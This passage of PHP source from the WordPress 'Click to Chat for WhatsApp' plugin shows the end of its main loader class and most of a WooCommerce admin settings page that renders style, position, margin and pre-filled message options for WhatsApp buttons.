    public static function instance() {
        if ( is_null( self::$instance ) ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    public function __clone() {
		wc_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'click-to-chat-for-whatsapp' ), '1.0' );
    }
    
    public function __wakeup() {
		wc_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'click-to-chat-for-whatsapp' ), '1.0' );
    }

    /**
     * constructor 
     * basic(), includes() -> include files
     * hooks()  -> run hooks 
     */
    public function __construct() {
        $this->basic();
        // $this->includes();
        $this->hooks();
    }

    /**
     * add the basic things
     * 
     * calling this before include, initilize other 
     * 
     * include, initilize files that needed before init
     * 
     * because this things may useful before  other things
     * 
     *  e.g. include, initialize files based on device, user settings
     */
    private function basic() {

        include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-ismobile.php';
        include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-values.php';
        
    }
    
    /**
     * Register hooks - when plugin activate, deactivate, uninstall
     * commented deactivation, uninstall hook - its not needed as now
     * 
     * plugins_loaded  - Check Diff - uses when plugin updates.
     * 
     * 
     * @note: Add at init - if 'values->HT_CTC_Values' is needed and works if load at init.
     */
    private function hooks() {

        // init
        add_action( 'init', array( $this, 'init' ), 0 );

        // enable shortcodes in widget area.
        add_filter('widget_text', 'do_shortcode');
        
        // add_filter( 'the_excerpt', 'do_shortcode');

        // settings page link
        add_filter( 'plugin_action_links_' . HT_CTC_PLUGIN_BASENAME, array( 'HT_CTC_Register', 'plugin_action_links' ) );

        // when plugin updated - check version diff
        add_action('plugins_loaded', array( 'HT_CTC_Register', 'version_check' ) );

    }

    /**
     * Init
     * 
     * include files .. 
     * 
     * if anything to work before init call at this->basic()
     * 
     * @uses this->hooks() - using init hook - priority 0
     */
    public function init() {
        
        do_action('ht_ctc_ah_init_before');

        $this->values = new HT_CTC_Values();
        $this->device_type = new HT_CTC_IsMobile();

        // hooks
        include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-hooks.php';      
         // woo init
        include_once HT_CTC_PLUGIN_DIR . 'new/tools/woo/ht-ctc-woo.php';

        //  is_admin ? include file to admin area : include files to non-admin area 
        if ( is_admin() ) {
            // admin
             // admin main file
            include_once HT_CTC_PLUGIN_DIR . 'new/admin/admin.php';
        } else {
            // front
             // main file - Enable - Chat, Group, Share
            include_once HT_CTC_PLUGIN_DIR . 'new/inc/class-ht-ctc-main.php';
             // scripts
            include_once HT_CTC_PLUGIN_DIR . 'new/inc/commons/class-ht-ctc-scripts.php';
        }

        do_action('ht_ctc_ah_init_after');

    }

}

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/tools/woo/woo-admin/class-ht-ctc-admin-woo-page.php000064400000114212147510273110024030 0ustar00<?php
/**
 * WooCommerce settings page - admin 
 * 
 * @package ctc
 * @subpackage admin
 * @since 3.3.3
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Woo_Page' ) ) :

class HT_CTC_Admin_Woo_Page {

    public function __construct() {
        $this->start();
	}

    function start() {
        add_action('admin_menu', array($this, 'menu') );
        add_action('admin_init', array($this, 'settings') );
    }

    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'WooCommerce page',
            'WooCommerce',
            'manage_options',
            'click-to-chat-woocommerce',
            array( $this, 'settings_page' )
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-woo-page">

            <?php settings_errors(); ?>

            <!-- full row -->
            <div class="row" style="display:flex; flex-wrap:wrap;">

                <div class="col s12 m12 l12 xl9 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_woo_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_woo_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>

                <!-- sidebar content -->
                <div class="col s12 m12 l7 xl3 ht-ctc-admin-sidebar ht-ctc-admin-woo-sidebar sticky-sidebar">
                    <?php // include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-sidebar-content.php'; ?>
                </div>
                
            </div>

            <!-- new row - After settings page  -->
            <div class="row">
            </div>

        </div>

        <?php

    }


    public function settings() {

        // WooCommerce chat feautes
        register_setting( 'ht_ctc_woo_page_settings_fields', 'ht_ctc_woo_options' , array( $this, 'options_sanitize' ) );

        // if ( isset($_GET) && isset($_GET['page']) && 'click-to-chat-woocommerce' == $_GET['page'] ) {
            add_settings_section( 'ht_ctc_woo_page_settings_sections_add', '', array( $this, 'chat_settings_section_cb' ), 'ht_ctc_woo_page_settings_sections_do' );
            add_settings_field( 'ctc_woocommerce', __( 'WooCommerce', 'click-to-chat-for-whatsapp'), array( $this, 'ctc_woocommerce_cb' ), 'ht_ctc_woo_page_settings_sections_do', 'ht_ctc_woo_page_settings_sections_add' );
        // }

    }


    public function chat_settings_section_cb() {
        ?>
        <h1 id="woo_settings">Click to Chat - WooCommerce</h1>
        <p class="description">
            <strong>Overwrite</strong>: 
            <a class="open_tab" data-tab="overwrite_tab-1" href="#overwrite_tab-1">Single product</a> | <a class="open_tab" data-tab="overwrite_tab-2" href="#overwrite_tab-2">Shop, Cart, Checkout, Account</a> <br>
            <strong>Add WhatsApp</strong>:
            <a class="open_tab" data-tab="add_whatsapp_tab-1" href="#add_whatsapp_tab-1">Single product</a> | <a class="open_tab" data-tab="add_whatsapp_tab-2" href="#add_whatsapp_tab-2">Shop</a> | <a class="open_tab" data-tab="add_whatsapp_tab-3" href="#add_whatsapp_tab-3">Advanced</a> 
        </p>
        <br>
        <?php
        do_action('ht_ctc_ah_admin' );
    }

     

    /**
     * single product pages
     * 
     * @var [woo_is_single] - floating style for single product pages
     */
    function ctc_woocommerce_cb() {
        
        $woo_options = get_option('ht_ctc_woo_options');
        $chat = get_option('ht_ctc_chat_options');
        $dbrow = 'ht_ctc_woo_options';

        /**
         * Single product page..
         */
        // pre filled
        $woo_pre_filled = ( isset( $woo_options['woo_pre_filled']) ) ? esc_attr( $woo_options['woo_pre_filled'] ) : '';
        $pf_placeholder = "Hello {site} \nLike to buy {product}, {url}";
        // call to action
        $woo_call_to_action = ( isset( $woo_options['woo_call_to_action']) ) ? esc_attr( $woo_options['woo_call_to_action'] ) : '';
        $ctc_placeholder = 'Buy {product}';
        $single_ctc_placeholder = "WhatsApp Order";

        // Add styles at woo page position
        $woo_position = ( isset( $woo_options['woo_position']) ) ? esc_attr( $woo_options['woo_position'] ) : '';
        $woo_style = ( isset( $woo_options['woo_style']) ) ? esc_attr( $woo_options['woo_style'] ) : '8';
        $woo_single_block_type = ( isset( $woo_options['woo_single_block_type']) ) ? esc_attr( $woo_options['woo_single_block_type'] ) : 'inline-block';

        $woo_places = [
            'select' => '-- Select --',
            'woocommerce_before_main_content' => 'Before Main Content',
            'woocommerce_before_single_product' => 'Before Product',
            'woocommerce_before_single_product_summary' => 'Before Product Summary',
            'woocommerce_single_product_summary' => 'Product Summary',
            'woocommerce_before_add_to_cart_form' => 'Before Add to Cart Form',
            'woocommerce_before_add_to_cart_button' => 'Before Cart Button',
            'woocommerce_after_add_to_cart_button' => 'After Cart Button',
            'woocommerce_after_add_to_cart_form' => 'After Add to Cart Form',
            'woocommerce_after_single_product' => 'After Product',
            'woocommerce_after_single_product_summary' => 'After Product Summary',
        ];

        // $woo_places = apply_filters( 'ht_ctc_fh_admin_woo_places', $woo_places );

        $woo_single_position_center = ( isset( $woo_options['woo_single_position_center']) ) ? esc_attr( $woo_options['woo_single_position_center'] ) : '';
        $woo_single_layout_cart_btn = ( isset( $woo_options['woo_single_layout_cart_btn']) ) ? esc_attr( $woo_options['woo_single_layout_cart_btn'] ) : '';
        $woo_single_margin_top = ( isset( $woo_options['woo_single_margin_top']) ) ? esc_attr( $woo_options['woo_single_margin_top'] ) : '';
        $woo_single_margin_right = ( isset( $woo_options['woo_single_margin_right']) ) ? esc_attr( $woo_options['woo_single_margin_right'] ) : '';
        $woo_single_margin_bottom = ( isset( $woo_options['woo_single_margin_bottom']) ) ? esc_attr( $woo_options['woo_single_margin_bottom'] ) : '';
        $woo_single_margin_left = ( isset( $woo_options['woo_single_margin_left']) ) ? esc_attr( $woo_options['woo_single_margin_left'] ) : '';
        $woo_single_margin_unit =  ( isset( $woo_options['woo_single_margin_unit']) ) ? esc_attr( $woo_options['woo_single_margin_unit'] ) : 'px';

        /**
         * woo - shop page
         */
        $woo_shop_style = ( isset( $woo_options['woo_shop_style']) ) ? esc_attr( $woo_options['woo_shop_style'] ) : '1';
        $woo_shop_pre_filled = ( isset( $woo_options['woo_shop_pre_filled']) ) ? esc_attr( $woo_options['woo_shop_pre_filled'] ) : '';
        $woo_shop_call_to_action = ( isset( $woo_options['woo_shop_call_to_action']) ) ? esc_attr( $woo_options['woo_shop_call_to_action'] ) : '';
        $woo_shop_layout_cart_btn = ( isset( $woo_options['woo_shop_layout_cart_btn']) ) ? esc_attr( $woo_options['woo_shop_layout_cart_btn'] ) : '';
        $woo_shop_add_whatsapp = ( isset( $woo_options['woo_shop_add_whatsapp']) ) ? esc_attr( $woo_options['woo_shop_add_whatsapp'] ) : '';

        $woo_shop_position_center = ( isset( $woo_options['woo_shop_position_center']) ) ? esc_attr( $woo_options['woo_shop_position_center'] ) : '';
        $woo_shop_margin_top = ( isset( $woo_options['woo_shop_margin_top']) ) ? esc_attr( $woo_options['woo_shop_margin_top'] ) : '';
        $woo_shop_margin_right = ( isset( $woo_options['woo_shop_margin_right']) ) ? esc_attr( $woo_options['woo_shop_margin_right'] ) : '';
        $woo_shop_margin_bottom = ( isset( $woo_options['woo_shop_margin_bottom']) ) ? esc_attr( $woo_options['woo_shop_margin_bottom'] ) : '';
        $woo_shop_margin_left = ( isset( $woo_options['woo_shop_margin_left']) ) ? esc_attr( $woo_options['woo_shop_margin_left'] ) : '';
        $woo_shop_margin_unit =  ( isset( $woo_options['woo_shop_margin_unit']) ) ? esc_attr( $woo_options['woo_shop_margin_unit'] ) : 'px';

        ?>

        <!-- overwrite settings -->
        <div class="margin_bottom_15"><strong class="description ht_ctc_subtitle">Overwrite Settings for WooCommerce Pages</strong></div>

        <div class="row">

            <div class="col s12">
                <ul class="tabs tabs-fixed-width">
                    <li class="tab col s3 md_tab_li"><a href="#overwrite_tab-1"><?php _e( 'Single Product Pages', 'click-to-chat-for-whatsapp' ); ?></a></li>
                    <li class="tab col s3 md_tab_li"><a href="#overwrite_tab-2"><?php _e( 'Shop, cart, checkout, Account', 'click-to-chat-for-whatsapp' ); ?></a></li>
                </ul>
            </div>

            <!-- overwrite: single product page -->
            <div id="overwrite_tab-1" class="col s12 md_tab">
                <div class="ctc_md_tab">
                    <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/woocommerce-single-product-pages/"><?php _e( 'WooCommerce Single Product pages', 'click-to-chat-for-whatsapp' ); ?></a></p>
                    <p class="description">Variables: {product}, {price}, {regular_price}, {sku}, {site}, {url}, {title} </p>
                    <p class="description">Leave blank to get value from main settings</p>
                    <br><br>

                    <!-- prefilled message -->
                    <div class="row ctc_side_by_side">
                        <div class="input-field col s12 md_tab">
                            <textarea name="ht_ctc_woo_options[woo_pre_filled]" id="woo_pre_filled" class="materialize-textarea input-margin" style="min-height: 64px;" placeholder="<?= $pf_placeholder ?>"><?= $woo_pre_filled ?></textarea>
                            <label for="woo_pre_filled"><?php _e( 'Pre-filled message', 'click-to-chat-for-whatsapp' ); ?></label>
                        </div>
                    </div>


                    <!-- Call to Action -->
                    <div class="row ctc_side_by_side">
                        <div class="input-field col s12 md_tab">
                            <input name="ht_ctc_woo_options[woo_call_to_action]" value="<?= $woo_call_to_action ?>" id="woo_call_to_action" type="text" class="input-margin" placeholder="<?= $ctc_placeholder ?>">
                            <label for="woo_call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label>
                        </div>
                    </div>

                    <?php
                    do_action('ht_ctc_ah_admin_after_woo_overwrite_single_settings');
                    ?>
                        
                    <br><br>
                </div>
            </div>

            <!-- overwrite: shop, cart, checkout, account - page level settings -->
            <div id="overwrite_tab-2" class="col s12 md_tab">
                <div class="ctc_md_tab">
                    <!-- Page Level settings - for WooCommerce pages -->
                    <p class="description">
                       <span>At <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/change-values-at-page-level/">Page Level Settings</a> can overwrite: Number, Call to Action, Prefilled Message, display settings. 
                        (<a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pricing/">PRO</a>: Greetings, Style, Time Delay, Scroll Delay)
                       </span>
                    </p>
                    <br>
                    <?php
                    $admin_url = admin_url();
                    
                    if (function_exists( 'wc_get_page_id')) {
                        $shop_page_id = wc_get_page_id( 'shop' );
                        $shop_admin_url = "{$admin_url}post.php?post={$shop_page_id}&action=edit";
                        
                        $cart_page_id = wc_get_page_id( 'cart' );
                        $cart_admin_url = "{$admin_url}post.php?post={$cart_page_id}&action=edit";
                        
                        $checkout_page_id = wc_get_page_id( 'checkout' );
                        $checkout_admin_url = "{$admin_url}post.php?post={$checkout_page_id}&action=edit";
                        
                        $myaccount_page_id = wc_get_page_id( 'myaccount' );
                        $myaccount_admin_url = "{$admin_url}post.php?post={$myaccount_page_id}&action=edit";
                        ?>
                        <p class="description"><a target="_blank" href="<?= $shop_admin_url ?>">Edit Shop Page</a> </p>
                        <p class="description"><a target="_blank" href="<?= $cart_admin_url ?>">Edit Cart Page</a> </p>
                        <p class="description"><a target="_blank" href="<?= $checkout_admin_url ?>">Edit Checkout Page</a> </p>
                        <p class="description"><a target="_blank" href="<?= $myaccount_admin_url ?>">Edit My Account Page</a> </p>
                        <?php
                    }
                    ?>
                    <br><br>
                </div>
            </div>


        </div>


        <br><br>
        <!-- Add WhatsApp -->
        <div class="margin_bottom_15"><strong class="description ht_ctc_subtitle">Add WhatsApp</strong></div>
        <div class="row">
            <div class="col s12">
                <ul class="tabs tabs-fixed-width">
                    <li class="tab col s3 md_tab_li"><a href="#add_whatsapp_tab-1"><?php _e( 'Single Product Pages', 'click-to-chat-for-whatsapp' ); ?></a></li>
                    <li class="tab col s3 md_tab_li"><a href="#add_whatsapp_tab-2"><?php _e( 'Shop Page', 'click-to-chat-for-whatsapp' ); ?></a></li>
                    <li class="tab col s3 md_tab_li"><a href="#add_whatsapp_tab-3"><?php _e( 'Advanced', 'click-to-chat-for-whatsapp' ); ?></a></li>
                </ul>
            </div>

            <div id="add_whatsapp_tab-1" class="col s12 md_tab">
                <div class="ctc_md_tab">
                    <!-- Add button/icon -->
                    <p class="description" style="margin-bottom:15px;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/add-whatsapp-in-woocommerce-single-product-pages/"><?php _e( 'Add WhatsApp in WooCommerce Single Product pages', 'click-to-chat-for-whatsapp' ); ?></a></p>

                    <div class="row ctc_side_by_side">
                        <div class="col s6" style="padding-top: 14px;">
                            <p><?php _e( 'Add WhatsApp', 'click-to-chat-for-whatsapp' ); ?>:</p>
                        </div>
                        <div class="input-field col s6">
                            <select name="<?php echo $dbrow ?>[woo_position]" class="woo_single_position_select">
                                <?php
                                foreach ($woo_places as $key => $value) {
                                    ?>
                                    <option value="<?= $key ?>" <?php echo $woo_position == $key ? 'SELECTED' : ''; ?> ><?php _e( $value, 'click-to-chat-for-whatsapp' ); ?></option>
                                    <?php
                                }
                                ?>
                            </select>
                            <!-- <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/add-whatsapp-in-woocommerce-single-product-pages/#pro_block">Positions</a></p> -->
                        </div>
                    </div>

                    <!-- style -->
                    <div class="row ctc_init_display_none woo_single_position_settings ctc_side_by_side">
                        <div class="col s6" style="padding-top: 14px;">
                            <p><?php _e( 'Select Style', 'click-to-chat-for-whatsapp' ); ?></p>
                        </div>
                        <div class="input-field col s6">
                            <select name="<?= $dbrow; ?>[woo_style]" class="woo_single_style_select">
                                <option value="1" <?= $woo_style == 1 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-1', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="2" <?= $woo_style == 2 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-2', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="3" <?= $woo_style == 3 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-3', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="3_1" <?= $woo_style == '3_1' ? 'SELECTED' : ''; ?> >&emsp;<?php _e( 'Style-3 Extend', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="4" <?= $woo_style == 4 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-4', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="5" <?= $woo_style == 5 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-5', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="7" <?= $woo_style == 7 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-7', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="7_1" <?= $woo_style == '7_1' ? 'SELECTED' : ''; ?> >&emsp;<?php _e( 'Style-7 Extend', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="8" <?= $woo_style == 8 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-8', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="99" <?= $woo_style == 99 ? 'SELECTED' : ''; ?> ><?php _e( 'Add your own image / GIF (Style-99)', 'click-to-chat-for-whatsapp' ); ?></option>
                            </select>
                            <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/list-of-styles/"><?php _e( 'List of Styles', 'click-to-chat-for-whatsapp' ); ?></a> &emsp; | &emsp; <span><a target="_blank" href="<?= admin_url( 'admin.php?page=click-to-chat-customize-styles' ); ?>">Customize the styles</a></span> </p>
                            <p class="description"><strong>Recommended Styles: 1, 4, 8</strong></p>
                        </div>
                    </div>

                    <p class="description ctc_init_display_none woo_single_position_settings"><a  class="open_tab" data-tab="overwrite_tab-1" href="#overwrite_tab-1" style="margin-bottom: 15px;">Prefilled, Call to action</a></p>

                    <p class="description ctc_init_display_none woo_single_position_settings">These styles and their position appears based on how the Theme is developed. </p>
                    <br>

                    <details open class="ctc_details ctc_init_display_none woo_single_position_settings">
                        <summary style="padding: 5px; background-color: #eeeeee; cursor: pointer; width: fit-content;">Adjust settings compatible with the theme design</summary>

                        <!-- style 1, 8 - add to cart layout -->
                        <div class="woo_single_position_settings_cart_layout" style="display: none;">
                            <div class="row ctc_side_by_side">
                                <div class="col s6" style="padding-top: 14px;">
                                    <p>Button layout <br><span style="font-size:0.8em;">WhatsApp button looks like 'Add to Cart' button</span></p>
                                </div>
                                <div class="input-field col s6">
                                    <label>
                                        <input name="<?= $dbrow; ?>[woo_single_layout_cart_btn]" type="checkbox" value="1" <?php checked( $woo_single_layout_cart_btn, 1 ); ?> id="woo_single_layout_cart_btn" />
                                        <span>Displays like 'Add to Cart' button</span>
                                    </label>
                                </div>
                            </div>
                        </div>

                        <!-- display - center -->
                        <div class="row ctc_side_by_side woo_single_position_settings" style="display: none;">
                            <div class="col s6" style="padding-top: 14px;">
                                <p><?php _e( 'Display Center', 'click-to-chat-for-whatsapp' ); ?></p>
                            </div>
                            <div class="input-field col s6">
                                <label>
                                    <input name="<?= $dbrow; ?>[woo_single_position_center]" type="checkbox" value="1" <?php checked( $woo_single_position_center, 1 ); ?> id="woo_single_position_center" />
                                    <span><?php _e( 'Display center within available space', 'click-to-chat-for-whatsapp' ); ?></span>
                                </label>
                            </div>
                        </div>
                        
                        <!-- display: block, inline-block ..  -->
                        <div class="row ctc_side_by_side ctc_init_display_none woo_single_position_settings">
                            <div class="col s6" style="padding-top: 14px;">
                                <p><?php _e( 'Display Block Type', 'click-to-chat-for-whatsapp' ); ?></p>
                            </div>
                            <div class="input-field col s6">
                                <select name="<?= $dbrow; ?>[woo_single_block_type]" class="">
                                    <option value="block" <?= $woo_single_block_type == 'block' ? 'SELECTED' : ''; ?> >block</option>
                                    <option value="inline" <?= $woo_single_block_type == 'inline' ? 'SELECTED' : ''; ?> >inline</option>
                                    <option value="inline-block" <?= $woo_single_block_type == 'inline-block' ? 'SELECTED' : ''; ?> >inline-block</option>
                                </select>
                                <p class="woo_single_position_center_checked_content" style="display: none;">Recommended type: 'block'</p>
                            </div>
                        </div>
                        
                        <!-- margin -->
                        <div class="row ctc_side_by_side ctc_init_display_none woo_single_position_settings">
                            <div class="col s6" style="padding-top: 14px;">
                                <p><?php _e( 'Spacing (Margin)', 'click-to-chat-for-whatsapp' ); ?></p>
                            </div>
                            <div class="input-field col s6">
                                <div  style="display: flex; margin-bottom: 1px;">
                                    <input name="ht_ctc_woo_options[woo_single_margin_top]" value="<?= $woo_single_margin_top ?>" id="woo_single_margin_top" type="text" style="display:inline; margin-right:4px;" class="input-margin tooltipped" placeholder="Top" data-position="top" data-tooltip="<?php _e( 'Top', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_single_margin_bottom]" value="<?= $woo_single_margin_bottom ?>" id="woo_single_margin_bottom" type="text" style="display:inline; margin-right:8px;" class="input-margin tooltipped" placeholder="Bottom" data-position="bottom" data-tooltip="<?php _e( 'Bottom', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_single_margin_left]" value="<?= $woo_single_margin_left ?>" id="woo_single_margin_left" type="text" style="display:inline; margin-right:4px; margin-left:4px;" class="input-margin tooltipped" placeholder="Left" data-position="left" data-tooltip="<?php _e( 'Left', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_single_margin_right]" value="<?= $woo_single_margin_right ?>" id="woo_single_margin_right" type="text" style="display:inline; " class="input-margin tooltipped" placeholder="Right" data-position="right" data-tooltip="<?php _e( 'Right', 'click-to-chat-for-whatsapp' ); ?>">
                                </div>
                                <span class="helper-text">Top, Bottom, Left, Right <span> E.g. 10px, 50%</span> </span>
                            </div>
                        </div>

                    </details>
                    

                    
                </div>
            </div>

            <div id="add_whatsapp_tab-2" class="col s12 md_tab">
                <div class="ctc_md_tab">
                    <!-- woo shop page -->
                    <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/whatsapp-chat-in-woocommerce-shop-page/"><?php _e( 'WooCommerce Shop page', 'click-to-chat-for-whatsapp' ); ?></a></p>

                    <!-- At WooCommerce shop pages, loop.. -->
                    <div class="row ctc_side_by_side">
                        <div class="col s6" style="padding-top: 14px;">
                            <p><?php _e( 'Add WhatsApp', 'click-to-chat-for-whatsapp' ); ?>:</p>
                        </div>
                        <div class="input-field col s6">
                            <label>
                                <input name="<?= $dbrow; ?>[woo_shop_add_whatsapp]" type="checkbox" value="1" <?php checked( $woo_shop_add_whatsapp, 1 ); ?> id="woo_shop_add_whatsapp" />
                                <span><?php _e( "At Products - Archive, Shop Page", 'click-to-chat-for-whatsapp' ); ?></span>
                            </label>
                        </div>
                    </div>
                    
                    <!-- prefilled message -->
                    <div class="row ctc_side_by_side ctc_init_display_none woo_shop_add_whatsapp_settings">
                        <div class="input-field col s12">
                            <textarea name="ht_ctc_woo_options[woo_shop_pre_filled]" id="woo_shop_pre_filled" class="materialize-textarea input-margin" style="min-height: 84px;" placeholder="<?= $pf_placeholder ?>"><?= $woo_shop_pre_filled ?></textarea>
                            <label for="woo_shop_pre_filled"><?php _e( 'Pre-filled message', 'click-to-chat-for-whatsapp' ); ?></label>
                            <p class="description">pre-filled, call-to-action: if blank, get values from page-level settings if not from the main settings</p>
                        </div>
                    </div>


                    <!-- Call to Action -->
                    <div class="row ctc_side_by_side ctc_init_display_none woo_shop_add_whatsapp_settings">
                        <div class="input-field col s12">
                            <input name="ht_ctc_woo_options[woo_shop_call_to_action]" value="<?= $woo_shop_call_to_action ?>" id="woo_shop_call_to_action" type="text" class="input-margin" placeholder="<?= $single_ctc_placeholder ?>">
                            <label for="woo_shop_call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label>
                        </div>
                    </div>

                    <!-- style -->
                    <div class="row ctc_side_by_side ctc_init_display_none woo_shop_add_whatsapp_settings">
                        <div class="col s6" style="padding-top: 14px;">
                            <p><?php _e( 'Select Style', 'click-to-chat-for-whatsapp' ); ?></p>
                        </div>
                        <div class="input-field col s6">
                            <select name="<?= $dbrow; ?>[woo_shop_style]" class="woo_shop_style">
                                <option value="1" <?= $woo_shop_style == 1 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-1', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="2" <?= $woo_shop_style == 2 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-2', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="3" <?= $woo_shop_style == 3 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-3', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="3_1" <?= $woo_shop_style == '3_1' ? 'SELECTED' : ''; ?> >&emsp;<?php _e( 'Style-3 Extend', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="4" <?= $woo_shop_style == 4 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-4', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="5" <?= $woo_shop_style == 5 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-5', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="7" <?= $woo_shop_style == 7 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-7', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="7_1" <?= $woo_shop_style == '7_1' ? 'SELECTED' : ''; ?> >&emsp;<?php _e( 'Style-7 Extend', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="8" <?= $woo_shop_style == 8 ? 'SELECTED' : ''; ?> ><?php _e( 'Style-8', 'click-to-chat-for-whatsapp' ); ?></option>
                                <option value="99" <?= $woo_shop_style == 99 ? 'SELECTED' : ''; ?> ><?php _e( 'Add your own image / GIF (Style-99)', 'click-to-chat-for-whatsapp' ); ?></option>
                            </select>
                            <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/list-of-styles/"><?php _e( 'List of Styles', 'click-to-chat-for-whatsapp' ); ?></a> &emsp; | &emsp; <span><a target="_blank" href="<?= admin_url( 'admin.php?page=click-to-chat-customize-styles' ); ?>">Customize the styles</a></span> </p>
                            <p class="description"><b>Recommended Styles: 1, 8</b></p>
                        </div>
                    </div>

                    <details open class="ctc_details ctc_init_display_none woo_shop_add_whatsapp_settings">
                        <summary style="padding: 5px; background-color: #eeeeee; cursor: pointer; width: fit-content;">Adjust settings compatible with the theme design</summary>

                        <!-- style 1, 8 - shop - add to cart layout -->
                        <div class="woo_shop_cart_layout" style="display: ;">
                            <div class="row ctc_side_by_side">
                                <div class="col s6" style="padding-top: 14px;">
                                    <p>Button layout <br><span style="font-size:0.8em;">WhatsApp button looks like 'Add to Cart' button</span></p>
                                </div>
                                <div class="input-field col s6">
                                    <label>
                                        <input name="<?= $dbrow; ?>[woo_shop_layout_cart_btn]" type="checkbox" value="1" <?php checked( $woo_shop_layout_cart_btn, 1 ); ?> id="woo_shop_layout_cart_btn" />
                                        <span>Displays like 'Add to Cart' button</span>
                                    </label>
                                </div>
                            </div>
                        </div>

                        <!-- display - center -->
                        <div class="row ctc_side_by_side ctc_init_display_none woo_shop_add_whatsapp_settings">
                            <div class="col s6" style="padding-top: 14px;">
                                <p><?php _e( 'Display Center', 'click-to-chat-for-whatsapp' ); ?></p>
                            </div>
                            <div class="input-field col s6">
                                <label>
                                    <input name="<?= $dbrow; ?>[woo_shop_position_center]" type="checkbox" value="1" <?php checked( $woo_shop_position_center, 1 ); ?> id="woo_shop_position_center" />
                                    <span><?php _e( 'Display center', 'click-to-chat-for-whatsapp' ); ?></span>
                                </label>
                            </div>
                        </div>

                        <!-- margin -->
                        <div class="row ctc_side_by_side ctc_init_display_none woo_shop_add_whatsapp_settings">
                            <div class="col s6" style="padding-top: 14px;">
                                <p><?php _e( 'Spacing (Margin)', 'click-to-chat-for-whatsapp' ); ?></p>
                            </div>
                            <div class="input-field col s6">
                                <div  style="display: flex; margin-bottom: 1px;">
                                    <input name="ht_ctc_woo_options[woo_shop_margin_top]" value="<?= $woo_shop_margin_top ?>" id="woo_shop_margin_top" type="text" style="display:inline; margin-right:4px;" class="input-margin tooltipped" placeholder="Top" data-position="top" data-tooltip="<?php _e( 'Top', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_shop_margin_bottom]" value="<?= $woo_shop_margin_bottom ?>" id="woo_shop_margin_bottom" type="text" style="display:inline; margin-right:8px;" class="input-margin tooltipped" placeholder="Bottom" data-position="bottom" data-tooltip="<?php _e( 'Bottom', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_shop_margin_left]" value="<?= $woo_shop_margin_left ?>" id="woo_shop_margin_left" type="text" style="display:inline; margin-right:4px;" class="input-margin tooltipped" placeholder="Left" data-position="left" data-tooltip="<?php _e( 'Left', 'click-to-chat-for-whatsapp' ); ?>">
                                    <input name="ht_ctc_woo_options[woo_shop_margin_right]" value="<?= $woo_shop_margin_right ?>" id="woo_shop_margin_right" type="text" style="display:inline;" class="input-margin tooltipped" placeholder="Right" data-position="right" data-tooltip="<?php _e( 'Right', 'click-to-chat-for-whatsapp' ); ?>">
                                </div>
                                <p class="helper-text">Top, Bottom, Left, Right <span> E.g. 10px, 50%</span> </p>
                            </div>
                        </div>
                        <br>

                        <br>
